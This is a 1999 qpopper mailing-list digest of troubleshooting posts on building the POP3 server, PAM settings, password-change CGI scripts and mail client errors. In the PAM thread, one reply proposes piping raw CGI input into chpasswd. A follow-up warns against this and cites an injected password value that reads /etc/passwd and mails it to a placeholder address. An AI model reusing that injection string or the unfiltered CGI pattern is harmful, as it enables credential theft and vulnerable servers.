The qpopper list archive ending on 4 May 1999
Topics covered in this issue include:
1. Re:
Fergal Daly <fergal at esatclear dot ie>
Thu, 22 Apr 1999 16:30:24 +0000
2. Re: poplocks that exceed a user's quota
Jordan Mendelson <jordy at wserv dot com>
Thu, 22 Apr 1999 13:54:02 -0400
3. Re: your mail
<unknown at riverstyx dot net>
Thu, 22 Apr 1999 12:59:02 -0700 (PDT)
4. How to turn off PAM?
"New Hope Hostmaster" <hostmaster at newhope dot com>
Thu, 22 Apr 1999 15:06:06 -0600
5. Re: How to turn off PAM?
Richard Rager <kb8rln at actech dot net>
Thu, 22 Apr 1999 18:28:58 -0400 (EDT)
6. Re: How to turn off PAM?
<unknown at riverstyx dot net>
Thu, 22 Apr 1999 16:06:23 -0700 (PDT)
7. Re: your mail
scott <scott at netinfosvcs dot com>
Thu, 22 Apr 1999 22:36:27 -0400 (EDT)
8. Re:
scott <scott at netinfosvcs dot com>
Thu, 22 Apr 1999 22:37:30 -0400 (EDT)
9. Re: How to turn off PAM?
Chris Josephes <cjoseph at mr dot net>
Fri, 23 Apr 1999 07:56:57 -0500 (CDT)
10. Qpopper 3.0b15 available
Qpopper Support <qpopper at qualcomm dot com>
Fri, 23 Apr 1999 12:25:30 -0700
11. Re: out of memory
Kevin Fowler <mlist at rixa.raex dot com>
Fri, 23 Apr 1999 16:29:53 -0400 (EDT)
12. Re: out of memory
Neil Sakuma <unifex at digital dot net>
Sat, 24 Apr 1999 09:50:29 -0400 (EDT)
13. creating pop only users, poppassd (Not _strictly_ mail related)
Vicki Brown <vlb at cfcl dot com>
Sun, 25 Apr 1999 17:53:09 -0700
14. Re: creating pop only users, poppassd (Not _strictly_ mail related)
System Administrator <admin at intergrafix dot net>
Mon, 26 Apr 1999 09:01:05 -0400 (EDT)
15. Installing qpopper
Sam Mbir-Bondzie <smbirbondzie at att dot com>
Mon, 26 Apr 1999 10:12:00 -0400
16. 3.0b15 build problems
steven at shellnet dot com (Steven Fletcher)
Mon, 26 Apr 1999 14:12:30 GMT
17. Re: 3.0b15 build problems
Tony Earnshaw <tonye at ilion dot nl>
Mon, 26 Apr 1999 17:47:13 +0200
18. Compiling and Installing Qpopper2.53
Sam Mbir-Bondzie <smbirbondzie at att dot com>
Mon, 26 Apr 1999 15:15:44 -0400
19. qpopper and APOP
Frederic Woodbridge <fred at shogun.anexis dot com>
Mon, 26 Apr 1999 16:26:42 -0400
20. qpopper3.0 compatibility questions
"Igor S. Livshits" <igorl at life.uiuc dot edu>
Mon, 26 Apr 1999 17:02:24 -0500
21. popper: unrecognized file type
Pritish Shah <pshah at iocenter dot net>
Mon, 26 Apr 1999 20:21:26 -0400
22. IMAP/pine placeholder message patch?
"Igor S. Livshits" <igorl at life.uiuc dot edu>
Tue, 27 Apr 1999 00:45:13 -0500
23. Re: IMAP/pine placeholder message patch?
Alan Brown <alan at manawatu.gen dot nz>
Tue, 27 Apr 1999 18:20:32 +1200 (NZST)
24. non response from server
Tom Walker <twalker at pacifier dot com>
Tue, 27 Apr 1999 00:21:06 -0700
25. Re: IMAP/pine placeholder message patch?
Troy Ablan <chaser at shore dot net>
Tue, 27 Apr 1999 04:43:12 -0400 (EDT)
26. Compiling 2.53 on DG/UX
"Peter Turner" <Peter_Turner at walkergreenbank dot com>
Wed, 28 Apr 1999 07:59:16 +0100
27. MySQL with Qpopper, or Atdot?
"New Hope Hostmaster" <hostmaster at newhope dot com>
Wed, 28 Apr 1999 11:35:26 -0600
28. Lost some messages
Rodrigo Luiz Anami <rodrigoa at bestway.com dot br>
Wed, 28 Apr 1999 15:20:36 -0300 (EST)
29. RE: Lost some messages
"Evan Erwin" <obiwan at frag dot com>
Thu, 29 Apr 1999 19:20:26 -0400
30. Pop users - "Insecure dependency in mkdir"
"Hostmaster" <hostmaster at newmediaone dot com>
Thu, 29 Apr 1999 17:50:31 -0600
31. Error Message
"Mike Walter" <mike at pcdnet dot net>
Fri, 30 Apr 1999 14:13:56 -0400
32. Qpopper and PAM under Linux?
"Igor S. Livshits" <igorl at life.uiuc dot edu>
Fri, 30 Apr 1999 15:52:50 -0500
33. Netscape and APOP
Emi Kawamura <emi at langmuir.EECS.Berkeley dot EDU>
Fri, 30 Apr 1999 22:22:16 +0000
34. RE: non response from server
"Evan Erwin" <obiwan at frag dot com>
Fri, 30 Apr 1999 21:22:01 -0400
35. FW: non response from server
Tom Walker <tom at rev3 dot com>
Fri, 30 Apr 1999 21:18:42 -0700
36. Re: FW: non response from server
Alan Brown <alan at manawatu.gen dot nz>
Sat, 1 May 1999 16:49:38 +1200 (NZST)
37. Unable to process From lines (envelopes), change recognition modes
Gildas PERROT <perrot at FranceNet dot fr>
Sat, 01 May 1999 13:16:25 +0200
38. Re: Unable to process From lines (envelopes), change recognition modes
Barry Treahy <treahy at mmaz dot com>
Mon, 03 May 1999 08:36:39 -0700
39. Strange....?
"Steven Roach" <sroach at ael dot com>
Mon, 3 May 1999 16:12:59 -0400
40. Re: Strange....?
Eric Hester <eric at carol dot net>
Mon, 3 May 1999 16:52:43 -0400
41. bug? in qpopper 2.53
Craig Schiavone <craigs at webcom dot com>
Mon, 03 May 1999 15:53:10 -0700
42. Re: bug? in qpopper 2.53
Barry Treahy <treahy at mmaz dot com>
Mon, 03 May 1999 16:24:00 -0700
43. y2k compliance
rosenblg at nyu dot edu
Mon, 03 May 1999 20:37:26 -0400 (EDT)
44. Dist. qpopper needed urgently.
Sam Mbir-Bondzie <smbirbondzie at att dot com>
Tue, 04 May 1999 10:12:39 -0400
45. E-mail size???
"Steven Roach" <sroach at ael dot com>
Tue, 4 May 1999 14:56:16 -0400
46. Re: E-mail size???
Tomasz Orzechowski <tmo at apk dot net>
Tue, 4 May 1999 15:14:35 -0400
47. Re: E-mail size???
Roy Kidder <rkidder at ocom dot com>
Tue, 04 May 1999 15:21:16 -0400
48. RE: E-mail size???
"Steven Roach" <sroach at ael dot com>
Tue, 4 May 1999 15:21:15 -0400
49. RE: E-mail size???
"Steven Roach" <sroach at ael dot com>
Tue, 4 May 1999 16:55:39 -0400
50. Re: y2k compliance
Qpopper Support <qpopper at qualcomm dot com>
Tue, 4 May 1999 17:23:06 -0700
Date: Thu, 22 Apr 1999 16:30:24 +0000
From: Fergal Daly <fergal at esatclear dot ie>
Subject: Re:
Qpopper list wrote:
>
> when I attempt to Install qopper3.0 on a sparc 20 (sol 7) it get this
> msg.
> I reinstalled gcc several times and the error still appears ,
>
> ./configure
> loading cache ./config.cache
> checking whether make sets ${MAKE}... yes
> checking for gcc... gcc
> checking whether the C compiler (gcc ) works... no
> configure: error: installation or configuration problem: C compiler
> cannot creat
> e executables.
Can you compile a simple program like "hello world"? If not you might be
missing the bin-utils package that gcc needs. It should be available
wherever you got gcc from,
Fergal
Date: Thu, 22 Apr 1999 13:54:02 -0400
From: Jordan Mendelson <jordy at wserv dot com>
Subject: Re: poplocks that exceed a user's quota
Qpopper list wrote:
>
> I don't think this is permitted because
>
> 2) from the FAQ: "SERVER_MODE makes an assumption that only /bin/mail is
> being used as a Delivery agent." procmail is often the delivery agent as
> well as exim, although I'm not sure what effect that would have.
Procmail will work just fine with server mode. Really the only
requirement for the delivery agent is that it appends mail to your spool
directory file...
Jordan
--
Jordan Mendelson : http://jordy.wserv.com
Web Services, Inc. : http://www.wserv.com
Date: Thu, 22 Apr 1999 12:59:02 -0700 (PDT)
From: <unknown at riverstyx dot net>
Subject: Re: your mail
Have you made sure that you're not using /usr/ucb/cc? Try 'which gcc'.
If you are, try just fixing your path so /usr/bin/gcc comes up first.
ucb/cc is some kind of shell script that multiplexes between different C
compilers, but for some reason it never works in the gnu autoconf scripts.
I had the same problem trying to compile bash on a Solaris x86 machine.
---
tani hosokawa
river styx internet
On Thu, 22 Apr 1999, Qpopper list wrote:
> when I attempt to Install qopper3.0 on a sparc 20 (sol 7) it get this
> msg.
> I reinstalled gcc several times and the error still appears ,
>
>
> ./configure
> loading cache ./config.cache
> checking whether make sets ${MAKE}... yes
> checking for gcc... gcc
> checking whether the C compiler (gcc ) works... no
> configure: error: installation or configuration problem: C compiler
> cannot creat
> e executables.
>
From: "New Hope Hostmaster" <hostmaster at newhope dot com>
Subject: How to turn off PAM?
Date: Thu, 22 Apr 1999 15:06:06 -0600
I am setting up a mail only server with Red Hat. I plan to have mail only
(POP) accounts set up on the server via cgi. It's for a free web based
email service.
So, I need to turn off the PAM setup, so the users can choose their own
passwords via cgi, even if they are dictionary words. Any help appreciated.
Thanks,
Peter Janett
Date: Thu, 22 Apr 1999 18:28:58 -0400 (EDT)
From: Richard Rager <kb8rln at actech dot net>
Subject: Re: How to turn off PAM?
On Thu, 22 Apr 1999, New Hope Hostmaster wrote:
> I am setting up a mail only server with Red Hat. I plan to have mail only
> (POP) accounts set up on the server via cgi. It's for a free web based
> email service.
>
> So, I need to turn off the PAM setup, so the users can choose their own
> passwords via cgi, even if they are dictionary words. Any help appreciated.
>
If you want the user to be able to change there own passwd a simple bash
cgi can do it. with
echo ${user}:${passwd} | chpasswd
If you want to check there current passwd you can just run the pam example
program. It is nice.
What programming code are you going to use?
Enjoy,
Richard
Date: Thu, 22 Apr 1999 16:06:23 -0700 (PDT)
From: <unknown at riverstyx dot net>
Subject: Re: How to turn off PAM?
presumably you should just edit /etc/pam.d/passwd
---
#%PAM-1.0
auth required /lib/security/pam_pwdb.so shadow nullok
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so retry=3
password required /lib/security/pam_pwdb.so use_authtok nullok
---
remove the cracklib line, presumably.
or use that mysqlauth thing. it separates your pop3 and shell
authentication.
---
tani hosokawa
river styx internet
On Thu, 22 Apr 1999, Qpopper list wrote:
> I am setting up a mail only server with Red Hat. I plan to have mail only
> (POP) accounts set up on the server via cgi. It's for a free web based
> email service.
>
> So, I need to turn off the PAM setup, so the users can choose their own
> passwords via cgi, even if they are dictionary words. Any help appreciated.
>
> Thanks,
>
> Peter Janett
>
>
Date: Thu, 22 Apr 1999 22:36:27 -0400 (EDT)
From: scott <scott at netinfosvcs dot com>
Subject: Re: your mail
THe path is correct .. "which gcc" >> /usr/local/bin
what should I try next
>Date: Thu, 22 Apr 1999 12:59:02 -0700 (PDT)
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>
>Have you made sure that you're not using /usr/ucb/cc? Try 'which gcc'.
>If you are, try just fixing your path so /usr/bin/gcc comes up first.
>ucb/cc is some kind of shell script that multiplexes between different C
>compilers, but for some reason it never works in the gnu autoconf scripts.
>I had the same problem trying to compile bash on a Solaris x86 machine.
>
>---
>tani hosokawa
>river styx internet
>
>
>On Thu, 22 Apr 1999, Qpopper list wrote:
>
>> when I attempt to Install qopper3.0 on a sparc 20 (sol 7) it get this
>> msg.
>> I reinstalled gcc several times and the error still appears ,
>>
>>
>> ./configure
>> loading cache ./config.cache
>> checking whether make sets ${MAKE}... yes
>> checking for gcc... gcc
>> checking whether the C compiler (gcc ) works... no
>> configure: error: installation or configuration problem: C compiler
>> cannot creat
>> e executables.
>>
>
Date: Thu, 22 Apr 1999 22:37:30 -0400 (EDT)
From: scott <scott at netinfosvcs dot com>
Subject: Re:
I got this sw from Sunfreeware.com
do you know of any other location where I can get the sw ,,
>Date: Thu, 22 Apr 1999 16:30:24 +0000
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>Qpopper list wrote:
>>
>> when I attempt to Install qopper3.0 on a sparc 20 (sol 7) it get this
>> msg.
>> I reinstalled gcc several times and the error still appears ,
>>
>> ./configure
>> loading cache ./config.cache
>> checking whether make sets ${MAKE}... yes
>> checking for gcc... gcc
>> checking whether the C compiler (gcc ) works... no
>> configure: error: installation or configuration problem: C compiler
>> cannot creat
>> e executables.
>
>Can you compile a simple program like "hello world"? If not you might be
>missing the bin-utils package that gcc needs. It should be available
>wherever you got gcc from,
>
>Fergal
Date: Fri, 23 Apr 1999 07:56:57 -0500 (CDT)
From: Chris Josephes <cjoseph at mr dot net>
Subject: Re: How to turn off PAM?
On Thu, 22 Apr 1999, Qpopper list wrote:
> On Thu, 22 Apr 1999, New Hope Hostmaster wrote:
>
> If you want the user to be able to change there own passwd a simple bash
> cgi can do it. with
>
> echo ${user}:${passwd} | chpasswd
>
Not Qpopper related, but make sure your CGI input fields are properly
filtered before passing them to scripts, especially those that use the
fields in command line arguements.
Otherwise, someone could input a password of
";cat /etc/passwd | maila@b dot com;"
or some other compromise, and that would be bad.
-- _______________
Chris Josephes __/ MRNet \
chrisj at mr.net __/ http://www.mr dot net/
\________________/
Date: Fri, 23 Apr 1999 12:25:30 -0700
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Qpopper 3.0b15 available
Qpopper 3.0b15 is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/qpopper/qpopper3.0b15.tar.
Z>.
Changes:
Fixed syntax error ("text" instead of "test") in configure script.
Updated INSTALL file.
Message "Found top of first message" only emitted with -d.
'make clean' now removes popauth.o and related objects.
Message "Unable to get canonical name of client" now includes IP address.
Also, the FAQ at <http://eudora.qualcomm.com/freeware/qpop_faq.html>
has been updated.
Date: Fri, 23 Apr 1999 16:29:53 -0400 (EDT)
From: Kevin Fowler <mlist at rixa.raex dot com>
Subject: Re: out of memory
Steven,
From what I found this is a problem with Outlook and Outlook Express.
It is caused by a blank Reply-To: header. Either manually delete that
line from their spool or delete the message and the problem will be
solved. I seem to only find it in spam. There must be some new spam
program out there adding a blank Reply-To: header.
Regards,
Kevin Fowler <kfowler at raex dot com>
System Administrator
Raex Internet
On Wed, 14 Apr 1999, Steven Roach wrote:
> Hello,
>
> I have about 400-500 users, using mostly Outlook or windows messaging. since
> I started using Qpopper, I noticed every once in a while I have a user that
> can't get their mail, they get and error "not enough memory to receive mail"
> now if I look at the mailbox, it's only 200k and as soon as I delete the
> mail box everything works fine. I was using version 2.2 I upgraded to
> version 2.53 last night.
>
> I hope this takes care of it. but I was wondering if anyone else had this
> problem, or might know what causes it.
>
> -Steve
>
Date: Sat, 24 Apr 1999 09:50:29 -0400 (EDT)
From: Neil Sakuma <unifex at digital dot net>
Subject: Re: out of memory
Anyone have a patch/kludge for Sendmail or sendmail.cf to remove blank
Reply-To: headers? Thank you.
Neil Sakuma
Technical Support Administrator, Florida Online
On Fri, 23 Apr 1999, Qpopper list wrote:
> Steven,
> From what I found this is a problem with Outlook and Outlook Express.
> It is caused by a blank Reply-To: header. Either manually delete that
> line from their spool or delete the message and the problem will be
> solved. I seem to only find it in spam. There must be some new spam
> program out there adding a blank Reply-To: header.
>
> Regards,
> Kevin Fowler <kfowler at raex dot com>
> System Administrator
> Raex Internet
>
> On Wed, 14 Apr 1999, Steven Roach wrote:
>
> > Hello,
> >
> > I have about 400-500 users, using mostly Outlook or windows messaging. since
> > I started using Qpopper, I noticed every once in a while I have a user that
> > can't get their mail, they get and error "not enough memory to receive mail"
> > now if I look at the mailbox, it's only 200k and as soon as I delete the
> > mail box everything works fine. I was using version 2.2 I upgraded to
> > version 2.53 last night.
> >
> > I hope this takes care of it. but I was wondering if anyone else had this
> > problem, or might know what causes it.
> >
> > -Steve
> >
>
>
Date: Sun, 25 Apr 1999 17:53:09 -0700
From: Vicki Brown <vlb at cfcl dot com>
Subject: creating pop only users, poppassd (Not _strictly_ mail related)
This is getting offtopic for Mail Help lists, especially the qpopper
list but I've found the information so useful I hate to go completely
offline with it just yet.
1) Many people have mentioned chpasswd. Cool thing; I didn't know it
existed. I can't get it to work on my (MkLinux) RedHat Linux,
however. I get an error:
chpasswd: can't open password file
If anyone knows why, please respond offlist (not mail related).
2) In my wanderings in search of more information, I was led to
"newusers", a script that does, essentially, a batch useradd complete
with passwords. That is, it will create the homedirs if they don't
exist. Looks pretty good.
echo 'vlb:ABC123:504:501::/home/vlb:/bin/tcsh' | newusers
3) Several people suggested chpasswd. Both it and newusers need to be
run as root. For poppassd, I can tell inetd to run it as root. For a
CGI script - how do you recommend handling the root requirement?
4) Sadly, there is no -e (encypted passwords) flag for my versions of
newusers or chpasswd. For a "newuser.cgi" or a poppassd, that
shouldn't be a problem; the passwords won't be stored. However, if
anyone has source for the -e capable versions, please let me know!
4) If anyone wants a copy of my newuser.cgi script (you'll need to
edit it to your tastes and local configuration) let me know. If
enough people would like it I can post online, but again, it's only
peripherally mail related (i.e. all my new users are POP only users
:-) For RedHat, I think I will edit it to use "newusers" rather than
a combination of "useradd" and "passwd".
5) poppassd - To allow my Eudora users to change their POP passwords.
I don't like C (and besides, C isn't portable :-). I have one Perl
version of poppassd but it wrote the data to a file in ~pop/POP, not
to /etc/passwd. Thanks to a breakthrough in my research AND help
from many directions, I believe I can now can write a working
poppassd in Perl! I know how to talk directly to /etc/passwd, I also
know how to interact via the "Expect" command (there's a bug
inRedHat's passwd program) and I can use newusers (and maybe,
someday, chpasswd). So there is More Than One Way To Do It! (I love
Perl).
I will be sending the results to the folks at Qualcomm to post with
the other poppassd's (which don't work / aren't portable :-) on their
ftp site. If anyone wants the code for this, only ask and ye shall
receive.
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Date: Mon, 26 Apr 1999 09:01:05 -0400 (EDT)
From: System Administrator <admin at intergrafix dot net>
Subject: Re: creating pop only users, poppassd (Not _strictly_ mail related)
I'd like to see the newuser.cgi, and possibly use it. I'd also like to ask
if anyone has used any user addition script in conjunction with the
platypus ISP billing system. platypus supposedly runs unix commands
through a unix daemon of itself to add users that customer service adds to
the billing system. You just have to tell it what to run i guess and it
passes the variables along, i dunno.
If anyone is using anything like this, please let me know. Thanx
-Cygnus
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco Network Administrator/Engineer
admin at intergrafix dot net Intergrafix Internet Services
"Dream as if you'll live forever, live as if you'll die today"
http://cygnus.ncohafmuta.com http://www.intergrafix.net
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On Sun, 25 Apr 1999, Vicki Brown wrote:
> This is getting offtopic for Mail Help lists, especially the qpopper
> list but I've found the information so useful I hate to go completely
> offline with it just yet.
>
> 1) Many people have mentioned chpasswd. Cool thing; I didn't know it
> existed. I can't get it to work on my (MkLinux) RedHat Linux,
> however. I get an error:
> chpasswd: can't open password file
> If anyone knows why, please respond offlist (not mail related).
>
> 2) In my wanderings in search of more information, I was led to
> "newusers", a script that does, essentially, a batch useradd complete
> with passwords. That is, it will create the homedirs if they don't
> exist. Looks pretty good.
>
> echo 'vlb:ABC123:504:501::/home/vlb:/bin/tcsh' | newusers
>
> 3) Several people suggested chpasswd. Both it and newusers need to be
> run as root. For poppassd, I can tell inetd to run it as root. For a
> CGI script - how do you recommend handling the root requirement?
>
> 4) Sadly, there is no -e (encypted passwords) flag for my versions of
> newusers or chpasswd. For a "newuser.cgi" or a poppassd, that
> shouldn't be a problem; the passwords won't be stored. However, if
> anyone has source for the -e capable versions, please let me know!
>
> 4) If anyone wants a copy of my newuser.cgi script (you'll need to
> edit it to your tastes and local configuration) let me know. If
> enough people would like it I can post online, but again, it's only
> peripherally mail related (i.e. all my new users are POP only users
> :-) For RedHat, I think I will edit it to use "newusers" rather than
> a combination of "useradd" and "passwd".
>
> 5) poppassd - To allow my Eudora users to change their POP passwords.
> I don't like C (and besides, C isn't portable :-). I have one Perl
> version of poppassd but it wrote the data to a file in ~pop/POP, not
> to /etc/passwd. Thanks to a breakthrough in my research AND help
> from many directions, I believe I can now can write a working
> poppassd in Perl! I know how to talk directly to /etc/passwd, I also
> know how to interact via the "Expect" command (there's a bug
> inRedHat's passwd program) and I can use newusers (and maybe,
> someday, chpasswd). So there is More Than One Way To Do It! (I love
> Perl).
>
> I will be sending the results to the folks at Qualcomm to post with
> the other poppassd's (which don't work / aren't portable :-) on their
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Date: Mon, 26 Apr 1999 10:12:00 -0400
From: Sam Mbir-Bondzie <smbirbondzie at att dot com>
Subject: Installing qpopper
Can someone give me a step by step give for installing qpopper 2.53
I have downloaded the tar format of the software uncompress it and
compiled it.
The problem is I got warning messages during compilation and I can't get
it running.
Please give me some suggestions.
Sam
From: steven at shellnet dot com (Steven Fletcher)
Subject: 3.0b15 build problems
Date: Mon, 26 Apr 1999 14:12:30 GMT
Hi all.
I can't seem to find any spefic mention of this on the list archives, so
I thought I'd ask here.
I'm trying to complie 3.0b15 on FreeBSD, versions 2.2.8-R and 3.1-R, but
have stumbled. After running ./configure, I run make, and get the
following output:
>cd ./popper && make all
>gcc -c -I.. -I.. -I. -I../mmangle -g -O2 -fstrength-reduce =
-fpcc-struct-return -DHAVE_CONFIG_H -DBSD -DUNIX flock.c -o flock.o
>gcc -c -I.. -I.. -I. -I../mmangle -g -O2 -fstrength-reduce =
-fpcc-struct-return -DHAVE_CONFIG_H -DBSD -DUNIX pop_dele.c -o =
pop_dele.o
>In file included from pop_dele.c:11:
>popper.h:157: conflicting types for `sys_errlist'
>/usr/include/stdio.h:245: previous declaration of `sys_errlist'
>*** Error code 1
>
>Stop.
>*** Error code 1
>
>Stop.
(This gives the same output on both 3.1 and 2.2.8)
In order to compile this, I had to comment out 2 lines in popper.h,
namely:
extern char * sys_errlist[];
extern char * sys_siglist[];
The server now seems to work, but my question is, am I going to be
bringing down a storm on myself in the future without these?
Thanks;
Steven Fletcher - steven at shellnet.co dot uk
Shellnet - http://www.shellnet.com
Date: Mon, 26 Apr 1999 17:47:13 +0200
From: Tony Earnshaw <tonye at ilion dot nl>
Subject: Re: 3.0b15 build problems
Steven Fletcher wrote:
> (This gives the same output on both 3.1 and 2.2.8)
> In order to compile this, I had to comment out 2 lines in popper.h,
> namely:
> extern char * sys_errlist[];
> extern char * sys_siglist[];
> The server now seems to work, but my question is, am I going to be
> bringing down a storm on myself in the future without these?
Shouldn't do. The compiler is complaining that these definitions are
present in two places and may or may not be conflicting. My own stdio.h
doesn't include a definition for sys_errlist (SCO Unix 5.0.4/SCO
libraries and linker). You might be better advised to comment them out
of stdio.h than popper.h, though.
Tony
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Date: Mon, 26 Apr 1999 15:15:44 -0400
From: Sam Mbir-Bondzie <smbirbondzie at att dot com>
Subject: Compiling and Installing Qpopper2.53
Can someone give me a step by step guide for installing qpopper 2.53
I have downloaded the tar format of the software and uncompress it.
I am compiling it on UNIX(IRIX 6.5)
I am followed the installation instructions in the file INSTALL.
When I issue the command
./configure
everything was fine but when I issue the command
make
things were going well until a point where I started getting warning
messages. Here are some of the warning
-c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_pass.c -o pop_pass.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_quit.c -o pop_quit.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_rset.c -o pop_rset.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_send.c -o pop_send.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_stat.c -o pop_stat.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_updt.c -o pop_updt.o
cfe: Warning 581: pop_updt.c:44: Macro BBSIZE redefined.
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_user.c -o pop_user.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_xtnd.c -o pop_xtnd.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_xmit.c -o pop_xmit.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX popper.c -o popper.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_bull.c -o pop_bull.o
cc -c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX xtnd_xlst.c -o
xtnd_xlst.o
-c -I. -I. -g -DHAVE_CONFIG_H -cckr -DIRIX pop_auth.c -o pop_auth.o
cc flock.o pop_dele.o pop_dropcopy.o pop_get_command.o
pop_get_subcommand.o pop_init.o
pop_last.o pop_list.o pop_log.o pop_lower.o pop_msg.o pop_parse.o
pop_pass.o pop_quit.o
pop_rset.o pop_send.o pop_stat.o pop_updt.o pop_user.o pop_xtnd.o
pop_xmit.o popper.o
pop_bull.o xtnd_xlst.o pop_uidl.o mktemp.o pop_rpop.o pop_apop.o md5.o
pop_auth.o -o
popper -lnsl -lsocket -lcrypt
ld: WARNING 84: /usr/lib/libsocket.so is not used for resolving any
symbol.
ld: WARNING 85: definition of _ffs in /usr/lib/libnsl.so preempts that
definition in /usr/lib/libc.so.
ld: WARNING 85: definition of ffs in /usr/lib/libnsl.so preempts that
definition in /usr/lib/libc.so.
ld: WARNING 85: definition of dial in /usr/lib/libnsl.so preempts that
definition in /usr/lib/libc.so.
ld: WARNING 85: definition of _dial in /usr/lib/libnsl.so preempts that
definition in /usr/lib/libc.so.
ld: WARNING 85: definition of undial in /usr/lib/libnsl.so preempts
that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of clnt_create in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of clnt_create_vers in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of _clnt_create_vers in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of clnt_sperror in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of _clnt_broadcast in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of clnt_broadcast in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
.
.
.
.
.
.
.
.
ld: WARNING 85: definition of xdr_callmsg in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of xdr_opaque_auth in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of xdr_des_block in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: WARNING 85: definition of _xdr_des_block in /usr/lib/libnsl.so
preempts that definition in /usr/lib/libc.so.
ld: Giving up after printing 50 warnings. Use -wall to print all
warnings.
Please give me advise or suggestion on how to compile the the qpopper.
Date: Mon, 26 Apr 1999 16:26:42 -0400
From: Frederic Woodbridge <fred at shogun.anexis dot com>
Subject: qpopper and APOP
Good day all...
I have just now built Qpopper3.0b15 and installed it cleanly on a RedHat
Linux box. I'm trying to give my users that ability to read and send their
mail through a web interface using webmail (from webmail.woanders.de) or
some other one. I haven't really decided. What I'd like to do is
authenticate our users from a database instead of from the /etc/passwd
file. I tried using popper-mySQL but for some reason, it didn't patch
cleanly at all (and yes, I patched the 3.0b12 source) and now I'm looking
into using APOP and a dbm file for authentication and so far, I've only
been able to use Eudora (Netscape Mail didn't work) to retrieve my mail
using APOP authentication.
First, does anyone have a simpler way of doing this (ie. alternate
authentication) and
Second, if APOP is the way to do this, is APOP a Qualcomm thing or part of
the POP protocol and not some extension to the standard POProtocol?
Please help.
Cheers,
F.
Frederic Woodbridge
Network Administrator
Anexis, Incorporated
Date: Mon, 26 Apr 1999 17:02:24 -0500
From: "Igor S. Livshits" <igorl at life.uiuc dot edu>
Subject: qpopper3.0 compatibility questions
Hello,
I am trying to build qpopper on my Red Hat Linux 5.2 computer with a
few customizations:
1. I have enabled MD5 passwords
<http://www.clark.net/pub/ray/RedHat-FAQ/DOCS/security6.html>
2. I have bind-8.2 installed and running
Currently, the configuration script fails to properly detect and
adjust for any of these. I tried fooling around with AUTH and GNUPASS
definitions to address MD5 passwords, but I did not get far.
For bind, I can jut add -lbind to my Makefile in the LIBS and
NETWORK_LIBS specifications, but I figure that may be a common set up
and configure should detect such.
What do you folks recommend as a best way to integrate these three items?
Also, anyone using Berkely DB? Any comments?
Thanks, igor
Date: Mon, 26 Apr 1999 20:21:26 -0400
From: Pritish Shah <pshah at iocenter dot net>
Subject: popper: unrecognized file type
Hi,
I compiled qpopper with virtual email support. However, whenever I try
to get the email, the following is what I get. I can't figure out what
is going on. I have compiled the virtusers.db file with the command
"makemap -v hash /etc/mail/virtusers.db < /etc/mail/virtusers"
The makemap is an old version (sendmail 8.8.4).
What do I need to do to solve the problems.
Regards,
Pritish
Connected to dialup1.iocconnect.com.
Escape character is '^]'.
+OK QPOP (version 3.0b14) at dialup1.iocconnect.com starting.
user test at test dot com
popper: unrecognized file type
Connection closed by foreign host.
Date: Tue, 27 Apr 1999 00:45:13 -0500
From: "Igor S. Livshits" <igorl at life.uiuc dot edu>
Subject: IMAP/pine placeholder message patch?
Howdy,
Does anyone know of a patch to qpopper that will detect and hide from
POP clients the placeholder message created by imapd and local pine?
Anyway, that would be a useful feature...
Thanks, igor
Date: Tue, 27 Apr 1999 18:20:32 +1200 (NZST)
From: Alan Brown <alan at manawatu.gen dot nz>
Subject: Re: IMAP/pine placeholder message patch?
On Tue, 27 Apr 1999, Igor S. Livshits wrote:
> Does anyone know of a patch to qpopper that will detect and hide from
> POP clients the placeholder message created by imapd and local pine?
>
> Anyway, that would be a useful feature...
In /usr/local/lib/pine.conf.fixed add this to "feature-list="
quell-folder-internal-msg
AB
From: Tom Walker <twalker at pacifier dot com>
Subject: non response from server
Date: Tue, 27 Apr 1999 00:21:06 -0700
I'm new to qpopper so I hope this isn't too dumb.
Everything seems to be fine when I telnet localhost pop3
at the mail server. But I can't telnet in or get a response
with netscape messenger or outlook when trying from a remote host.
I can do normal telnet from a remote host.
I can see activity with netstat at the server when trying to connect,
it appears to be a authentication problem?
Any suggestions on settings?
Thanks
Date: Tue, 27 Apr 1999 04:43:12 -0400 (EDT)
From: Troy Ablan <chaser at shore dot net>
Subject: Re: IMAP/pine placeholder message patch?
- That shouldn't need to be in .fixed.
- That keeps pine from generating that message, which partially fixes the
problem.
- That doesn't resolve the problems involved with running UW imapd.
I'll poke around in the source to see if I can modify it to work properly
with IMAPified mailboxes.
On Tue, 27 Apr 1999, Alan Brown wrote:
> > Does anyone know of a patch to qpopper that will detect and hide from
> > POP clients the placeholder message created by imapd and local pine?
> >
> > Anyway, that would be a useful feature...
>
